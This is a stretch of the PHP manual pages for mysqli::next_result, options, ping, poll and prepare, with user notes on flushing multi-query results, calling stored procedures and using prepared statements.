$mysqli->multi_query(" Many SQL queries ; "); // OK
while ($mysqli->next_result()) {;} // flush multi_queries
$mysqli->query(" SQL statement #1 ; ") // now executed!
$mysqli->query(" SQL statement #2 ; ") // now executed!
$mysqli->query(" SQL statement #3 ; ") // now executed!
$mysqli->query(" SQL statement #4 ; ") // now executed!
?>
luka8088 at owave dot net 20-Sep-2010 10:17
if you don't iterate through all results you get "server has gone away" error message ...

to resolve this, in php 5.2 it is enough to use

<?php
  // ok for php 5.2
  while ($mysqli->next_result());
?>

to drop unwanted results, but in php 5.3 using only this throws

mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

so it should be replaced with

<?php
  // ok for php 5.3
  while ($mysqli->more_results() && $mysqli->next_result());
?>

I also tried but failed:

<?php

  // can create infinite look in some cases
  while ($mysqli->more_results())
    $mysqli->next_result();

  // also throws error in some cases
  if ($mysqli->more_results())
    while ($mysqli->next_result());

?>
Shawn Pyle 15-Apr-2010 09:29
Be sure to not send a set of queries that are larger than max_allowed_packet size on your MySQL server. If you do, you'll get an error like:
Mysql Error (1153): Got a packet bigger than 'max_allowed_packet' bytes

To see your MySQL size limitation, run the following query: show variables like 'max_allowed_packet';

or see http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
Miles 22-Jun-2009 10:47
You can use prepared statements on stored procedures.

You just need to flush all the subsequent result sets before closing the statement... so:

$mysqli_stmt = $mysqli->prepare(....);

... bind, execute, bind, fetch ...

while($mysqli->more_results())
{
    $mysqli->next_result();
    $discard = $mysqli->store_result();
}

$mysqli_stmt->close();

Hope that helps :o)
raye1010 at yahoo dot com dot hk 28-Jan-2009 10:56
This is my point of view:

Actually when calling $mysqli->next_result(), MySQL server will try to prepare resources for storing resultset. If you want to multi query for stored procedures, it's better to use $mysqli->use_result()->close() to close the resources. For functions, it's better to use $mysqli->store_result()->free() since there's resultset returned. Otherwise, an error of "Commands out of sync" will be rasied.

Here's the code I test:

<?php
$mysql = new mysql('localhost', 'user', 'pw', 'db');

$query = 'show tables;';
$query.= 'show tables;';
$query.= 'select * from dummy_table;';
$query.= 'show tables;'; // this statement will be ignored as the dummy_table doesn't exist and the loop should quit

$mysqli->multi_query($query);
do {
  $mysqli->use_result()->close();
  echo "Okay\n";
} while ($mysqli->next_result());

if ($mysqli->errno) {
  echo "Stopped while retrieving result : ".$mysqli->error;
}

?>
Returns :
Okay
Okay
Stopped while retrieving result : Table 'db.dummy_table' doesn't exist
jparedes at gmail dot com 27-Aug-2008 09:05
It's very important that after executing mysqli_multi_query you have first process the resultsets before sending any another statement to the server, otherwise your
socket is still blocked.

Please note that even if your multi statement doesn't contain SELECT queries, the server will send result packages containing errorcodes (or OK packet) for single statements.
undefined(AT)users(DOT)berlios(DOT)de 04-Mar-2008 04:13
mysqli_multi_query handles MySQL Transaction on InnoDB's :-)

<?php

$mysqli  = mysqli_connect( "localhost", "owner", "pass", "db", 3306, "/var/lib/mysql/mysql.sock" );

$QUERY = <<<EOT
START TRANSACTION;
SELECT @lng:=IF( STRCMP(`main_lang`,'de'), 'en', 'de' )
FROM `main_data` WHERE  ( `main_activ` LIKE 1 ) ORDER BY `main_id` ASC;
SELECT `main_id`, `main_type`, `main_title`, `main_body`, `main_modified`, `main_posted`
FROM `main_data`
WHERE ( `main_type` RLIKE "news|about" AND `main_lang` LIKE @lng AND `main_activ` LIKE 1 )
ORDER BY `main_type` ASC;
COMMIT;
EOT;

$query = mysqli_multi_query( $mysqli, $QUERY ) or die( mysqli_error( $mysqli ) );

if( $query )
{
  do {
    if( $result = mysqli_store_result( $mysqli ) )
    {
      $subresult = mysqli_fetch_assoc( $result );
      if( ! isset( $subresult['main_id'] ) )
        continue;

      foreach( $subresult AS $k => $v )
      {
        var_dump( $k , $v );
      }
    }
  } while ( mysqli_next_result( $mysqli ) );
}

mysqli_close( $mysqli );

?>
mjmendoza at grupzero dot tk 29-Nov-2006 10:47
I was developing my own CMS and I was having problem with attaching the database' sql file. I thought mysqli_multi_query got bugs where it crashes my MySQL server. I tried to report the bug but it showed that it has duplicate bug reports of other developers. To my surprise, mysqli_multi_query needs to bother with result even if there's none.

I finally got it working when I copied the sample and removed somethings. Here is what it looked liked

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
   printf("Connect failed: %s\n", mysqli_connect_error());
   exit();
}

$query  = "CREATE TABLE....;...;... blah blah blah;...";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = mysqli_store_result($link)) {
           //do nothing since there's nothing to handle
           mysqli_free_result($result);
       }
       /* print divider */
       if (mysqli_more_results($link)) {
           //I just kept this since it seems useful
           //try removing and see for yourself
       }
   } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

bottom-line: I think mysql_multi_query should only be used for attaching a database. it's hard to handle results from 'SELECT' statements inside a single while loop.
sly underscore mcfly at hotmail dot com 07-Sep-2006 05:32
Ive just had exactly the same problem as below trying to execute multiple stored procedures. I thought i might as well add how to do it the object oriented way.

Instead of putting the one statement:

<?php
$mysqli->next_result();
?>

Put two:

<?php
$mysqli->next_result();
$mysqli->next_result();
?>

The first statement points (possibly using the term incorrectly) you to the return value. The second one will point you to the result of the next query.

I hope this makes sense.
info at ff dot net 08-May-2006 04:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.
mysqli::more_results
mysqli::next_result
mysqli


Prepare next result from multi_query

mysqli::multi_query
mysqli::options
mysqli
PHP Manual

mysqli::next_result

mysqli_next_result

(PHP 5)

mysqli::next_result -- mysqli_next_result — Prepare next result from multi_query

Description

Object oriented style

bool mysqli::next_result ( void )

Procedural style

bool mysqli_next_result ( mysqli $link )

Prepares next result set from a previous call to
mysqli_multi_query() which can be retrieved by
mysqli_store_result() or
mysqli_use_result().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_multi_query().

See Also

  • mysqli_multi_query() - Performs a query on the database
  • mysqli_more_results() - Check if there are any more query results from a multi query
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

admin at travian-utils dot com 28-Oct-2009 11:24
Stored procedures few rowset example:

some_file.php
<?php
function proc() {
  global $global;
  $db_connect_list = array('site');
  SQLinit($db_connect_list);
  if(isset($global['error'])){return;}
  SQL('CALL `procedure`();');
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLclose($db_connect_list);
}
?>

config.php
<?php
  $global['sys']['db']['site'] = array('host'=>'localhost', 'user'=>'site', 'pass'=>'');
?>

engine.php
<?php
function SQLinit($array_list){
  global $global;
  foreach($array_list as $set){
    if(!$global['sys']['db'][$set]['connect'] = mysqli_connect(
        $global['sys']['db'][$set]['host'],
        $global['sys']['db'][$set]['user'],
        $global['sys']['db'][$set]['pass'])){
      $global['error']['code'] = 500;
      $global['error']['text'] = 'Database not avaliable';
      $w=fopen('error.log','a+');
      fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
      fwrite($w,'errno: '.mysqli_connect_errno()."\r\n");
      fwrite($w,'error: '.mysqli_connect_error()."\r\n");
      fclose($w);
      return;
    }
    if(!isset($global['sys']['default_connect']))
      $global['sys']['default_connect'] = $global['sys']['db'][$set]['connect'];
    SQL('SET NAMES \'utf8\' COLLATE \'utf8_unicode_ci\';', $global['sys']['db'][$set]['connect']);
    SQL('SET CHARACTER SET \'utf8\';', $global['sys']['db'][$set]['connect']);
    SQL('SET character_set_connection = \'utf8\';', $global['sys']['db'][$set]['connect']);
  }
}
function mTime(){
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec+(float)$sec);
}
function SQL($sql, $connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  while ($connect->next_result()) $connect->store_result();
  $begin=mTime();
  $global['result']=mysqli_query($connect, $sql);
  $end=mTime();
  $global['sys']['time_sql']+=$end-$begin;
  $error=mysqli_error($connect);
  if($error!=''){
    $global['error']['code'] = 502;
    $global['error']['text'] = 'SQL error';
    $global['error']['sql'] = true;
    $w=fopen('error.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'errno: '.mysqli_errno($connect)."\r\n");
    fwrite($w,'error: '.$error."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }else{
    $w=fopen('sql.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }
}

function SQLnext($connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  $connect->next_result();
  $global['result'] = $connect->store_result();
}

function SQLclose($array_list){
  global $global;
  foreach($array_list as $set){
    mysqli_close($global['sys']['db'][$set]['connect']);
  }
}
?>
pawel dot barcik at gmail dot com 21-Jun-2008 05:26
this function returns FALSE when you have an error in your syntax in one of your queries, so be carefull with this type of construction when tracking errors:

<?php

//error in the second sub query
$result = $db->multi_query("select * from news; seleeeeeeect id from news; update news set title='new title' where id= 12 ");

//code inside object class
$this->_db = new Mysqli($host, $user, $password, $database, $port, $socket);

do {
    $result = $this->_db->store_result();
    $this->_resultMulti[] = $result;
    $this->_errnoMulti[] = $this->_db->errno;

    if(is_object($result)) {
        $result->free_result();
    }

} while($this->_db->next_result());

?>

in this construction all you have in the $this->_errnoMulti is :

array(1) {
  [0]=>
  int(0)
}

which means that there are no errors if you are not checking how many queries are executed!
mysqli::multi_query
mysqli::options
mysqli


Set options

mysqli::next_result
mysqli::ping
mysqli
PHP Manual

mysqli::options

mysqli_options

(PHP 5)

mysqli::options -- mysqli_options — Set options

Description

Object oriented style

bool mysqli::options ( int $option , mixed $value )

Procedural style

bool mysqli_options ( mysqli $link , int $option , mixed $value )

Used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

mysqli_options() should be called after
mysqli_init() and before
mysqli_real_connect().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

option

The option that you want to set. It can be one of the following values:

Valid options
Name | Description
MYSQLI_OPT_CONNECT_TIMEOUT | connection timeout in seconds (supported on Windows with TCP/IP since PHP 5.3.1)
MYSQLI_OPT_LOCAL_INFILE | enable/disable use of LOAD LOCAL INFILE
MYSQLI_INIT_COMMAND | command to execute after when connecting to MySQL server
MYSQLI_READ_DEFAULT_FILE | Read options from named option file instead of my.cnf
MYSQLI_READ_DEFAULT_GROUP | Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE.

value

The value for the option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_real_connect().

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysql uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

See Also

  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

king at bobfish dot org 14-Feb-2008 12:05
Example on using mysqli_options to increase size of max_allowed_packet for working with big blobs.

function dbConnect()
{
   $user = 'jomama';
   $pass = 'cartoon';
   $dbName = 'LifeCycle';
   $host = 'localhost';

   $mysqli = mysqli_init();
   mysqli_options($mysqli,MYSQLI_READ_DEFAULT_GROUP,
                                    "max_allowed_packet=50M");
   mysqli_real_connect($mysqli,$host, $user, $pass,$dbName)
                  or die ('<P>Unable to connect</P>');

   return $mysqli;
}
fluppy 07-Mar-2007 02:46
Here es little example to create a SSL Connection

<?php

$db = mysqli_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connct('localhost','root','','mydb');

//Here some query

$db->close();

?>
mysqli::next_result
mysqli::ping
mysqli


Pings a server connection, or tries to reconnect if the connection has gone down

mysqli::options
mysqli::poll
mysqli
PHP Manual

mysqli::ping

mysqli_ping

(PHP 5)

mysqli::ping -- mysqli_ping — Pings a server connection, or tries to reconnect if the connection has gone down

Description

Object oriented style

bool mysqli::ping ( void )

Procedural style

bool mysqli_ping ( mysqli $link )

Checks whether the connection to the server is working. If it has gone down, and global option mysqli.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::ping() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* check if server is alive */
if ($mysqli->ping()) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* check if server is alive */
if (mysqli_ping($link)) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Our connection is ok!

User Contributed Notes

There are no user contributed notes for this page.
mysqli::options
mysqli::poll
mysqli


Poll connections

mysqli::ping
mysqli::prepare
mysqli
PHP Manual

mysqli::poll

mysqli_poll

(PHP 5 >= 5.3.0)

mysqli::poll -- mysqli_poll — Poll connections

Description

Object oriented style

public int mysqli::poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )

Procedural style

int mysqli_poll ( array &$read , array &$error , array &$reject , int $sec [, int $usec ] )
Warning

This function is currently not documented; only its argument list is available.

Poll connections. Available only with mysqlnd.

Parameters

read

error

reject

sec

Number of seconds to wait, must be non-negative.

usec

Number of microseconds to wait, must be non-negative.

Return Values

Returns number of ready connections in success, FALSE otherwise.

Examples

Example #1 A mysqli_poll() example

<?php
$link1 = mysqli_connect();
$link1->query("SELECT 'test'", MYSQLI_ASYNC);
$all_links = array($link1);
$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
} while ($processed < count($all_links));
?>

The above example will output:

Array
(
    [0] => test
)

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_reap_async_query() - Get result from async query

User Contributed Notes

There are no user contributed notes for this page.
mysqli::ping
mysqli::prepare
mysqli


Prepare an SQL statement for execution

mysqli::poll
mysqli::query
mysqli
PHP Manual

mysqli::prepare

mysqli_prepare

(PHP 5)

mysqli::prepare -- mysqli_prepare — Prepare an SQL statement for execution

Description

Object oriented style

mysqli_stmt mysqli::prepare ( string $query )

Procedural style

mysqli_stmt mysqli_prepare ( mysqli $link , string $query )

Prepares the SQL query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Note:

You should not add a terminating semicolon or \g to the statement.

This parameter can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement, or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. It's not allowed to compare marker with NULL by ? IS NULL too. In general, parameters are legal only in Data Manipulation Language (DML) statements, and not in Data Definition Language (DDL) statements.

Return Values

mysqli_prepare() returns a statement object or FALSE if an error occurred.

Examples

Example #1 mysqli::prepare() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
if ($stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Amersfoort is in district Utrecht

See Also

  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

Darren 13-Jan-2012 11:09
I wrote this function for my personal use and figured I would share it.  I am not sure if this is the appropriate forum but I wish I had this when I stumbled on to mysqli::prepare.  The function is an update of the function I posted previously.  The previous function could not handle multiple queries.

For queries:
Results of single queries are given as arrays[row#][associated Data Array]
Results of multiple queries are given as arrays[query#][row#][associated Data Array]

For queries which return an affected row#, affected rows are returned instead of (array[row#][associated Data Array])

Code and example are below:

<?php
function mysqli_prepared_query($link,$sql,$typeDef = FALSE,$params = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if(count($params) == count($params,1)){
      $params = array($params);
      $multiQuery = FALSE;
    } else {
      $multiQuery = TRUE;
    }

    if($typeDef){
      $bindParams = array();
      $bindParamsReferences = array();
      $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),"");
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }
      array_unshift($bindParamsReferences,$typeDef);
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences);
    }

    $result = array();
    foreach($params as $queryKey => $query){
      foreach($bindParams as $paramKey => $value){
        $bindParams[$paramKey] = $query[$paramKey];
      }
      $queryResult = array();
      if(mysqli_stmt_execute($stmt)){
        $resultMetaData = mysqli_stmt_result_metadata($stmt);
        if($resultMetaData){
          $stmtRow = array();
          $rowReferences = array();
          while ($field = mysqli_fetch_field($resultMetaData)) {
            $rowReferences[] = &$stmtRow[$field->name];
          }
          mysqli_free_result($resultMetaData);
          $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
          $bindResultMethod->invokeArgs($stmt, $rowReferences);
          while(mysqli_stmt_fetch($stmt)){
            $row = array();
            foreach($stmtRow as $key => $value){
              $row[$key] = $value;
            }
            $queryResult[] = $row;
          }
          mysqli_stmt_free_result($stmt);
        } else {
          $queryResult[] = mysqli_stmt_affected_rows($stmt);
        }
      } else {
        $queryResult[] = FALSE;
      }
      $result[$queryKey] = $queryResult;
    }
    mysqli_stmt_close($stmt);
  } else {
    $result = FALSE;
  }

  if($multiQuery){
    return $result;
  } else {
    return $result[0];
  }
}
?>

Example(s):
For a table of firstName and lastName:
John Smith
Mark Smith
Jack Johnson
Bob Johnson

<?php
//single query, single result
$query = "SELECT * FROM names WHERE firstName=? AND lastName=?";
$params = array("Bob","Johnson");

mysqli_prepared_query($link,$query,"ss",$params)
/*
returns array(
0=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
*/

//single query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array("Smith");

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
*/

//multiple query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array(array("Smith"),array("Johnson"));

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=>
array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
1=>
array(
0=> array('firstName' => 'Jack', 'lastName' => 'Johnson')
1=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
)
*/
?>

Hope it helps =)
Darren 11-Jan-2012 03:59
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
Zeebuck 24-Jul-2011 12:51
I think that the purpose that it was originally built for, and the purpose that people use it for today, have diverged.  But why dwell on the original purpose?  Obviously more code has been put into prepared statements today to allow it to be used to prevent sql injections, so it is now part of the design purpose today, as well as performance on repeatable statements.
Codeguy 29-Apr-2011 07:39
The actual purpose to use a prepared statement in sql is to cut the cost of processing queries; NOT to separate data from query. That's how it's being used w/ php NOW, not how it was designed to be used in the first place. With SQL you cut the cost of executing multiple similar queries down by using a prepared statement.. Doing so cuts out the parsing, validation and most often generates an execution plan for said query up front. Which is why they run faster in a loop, than their  IMMEDIATE Query cousins do. Do not assume that just because someone uses php and this function this way does not mean that it is THE way, or only way to do it. Although it is more secure than general queries but they are also more limited in what they can do or more precisely how you can go about doing it.
prwexler at earthlink dot net 09-Apr-2011 04:14
Actually, the purpose of a prepare statement is to separate user input from SQL commands.  This increases security by preventing a user from executing his own SQL code and damaging the integrity of a database.
Domenic Denicola 10-Jan-2010 07:18
It's worth noting that this function will error out with "Number of variables doesn't match number of parameters in prepared statement" for reasons that have nothing to do with the number of variables and parameters.

For example, I made the newbie mistake of saying "SELECT (username, password) FROM mytable WHERE something = ?" instead of "SELECT username, password FROM mytable WHERE something = ?" and got that error.

So basically, if you get that error, check your query syntax very carefully before poking around for the various problems that could occur with binding, pass-by-reference, etc.
sdepouw at NOSPAM dot com 29-Jul-2009 06:03
I don't know how obvious this was for anyone else, but if you attempt to prepare a query for a table that doesn't exist in the database the connection currently points to (or if your query is invalid in some other way, I suppose), an object will not be returned. I only noticed this after doing some digging when I kept getting a fatal error saying that my statement variable was not an set to an instance of an object (it was probably null).

Replace NOSPAM with nimblepros to e-mail me.
rafael at stiod dot com 29-Sep-2008 04:44
All data must be fetched before a new statement prepare
admin at xorath dot com 15-Aug-2007 10:39
Performance note to those who wonder. I performed a test where first of all inserted about 30,000 posts with one PK:id and a varchar(20), where the varchar data was md5-hash for the current iterator value just to fill with some data.

The test was performed on a dedicated ubuntu 7.04 server with apache2/php5/mysql5.0 running on Athlon 64 - 3000+ with 512MB of RAM. The queries where tested with a for-loop from 0 to 30000 first with:

<?php
for ( $i = 0; $i <= 30000; ++$i )
{
    $result = $mysqli->query("SELECT * FROM test WHERE id = $i");
    $row = $result->fetch_row();
    echo $row[0]; //prints id
}
?>

which gave a page-load time of about 3.3seconds avarage, then with this loop:

<?php
$stmt = $mysqli->prepare("SELECT * FROM test WHERE id = ?");
for ( $i = 0; $i <= 30000; ++$i )
{
    $stmt->bind_param("i", $i);
    $stmt->execute();
    $stmt->bind_result($id, $md5);
    $stmt->fetch();
    echo $id;
}
$stmt->close();
?>

and the avarage page-load was lowered by 1.3sec, which means about 2.0 sec avarage! Guess the performance difference could be even greater on a more complex/larger table and more complex SQL-queries.
nom0ny at yahoo dot com 25-May-2007 12:30
It must be noted in the Description whether developers should call mysqli_stmt_close prior to executing mysqli_prepare again on the same statement variable.

Example, Script A calls mysqli_stmt_close twice:
<?php
/* Script A -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script A -- Continues on... */
?>

Next, we have Script B, calling mysqli_prepare again before issuing mysqli_stmt_close on the prior statement.
<?php
/* Script B -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);

mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script B -- Continues on... */
?>

Which method is more efficient and should be used by developers?
Adam 10-Aug-2006 03:03
The purpose of prepared statements is to not include data in your SQL statements. Including them in your SQL statements is NOT safe. Always use prepared statements. They are cleaner to use (code easier to read) and not prone to SQL injections.

Escaping strings to include in SQL statements doesn't work very well in some locales hence it is not safe.
codeFiend <aeontech at gmail dot com> 05-May-2006 02:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
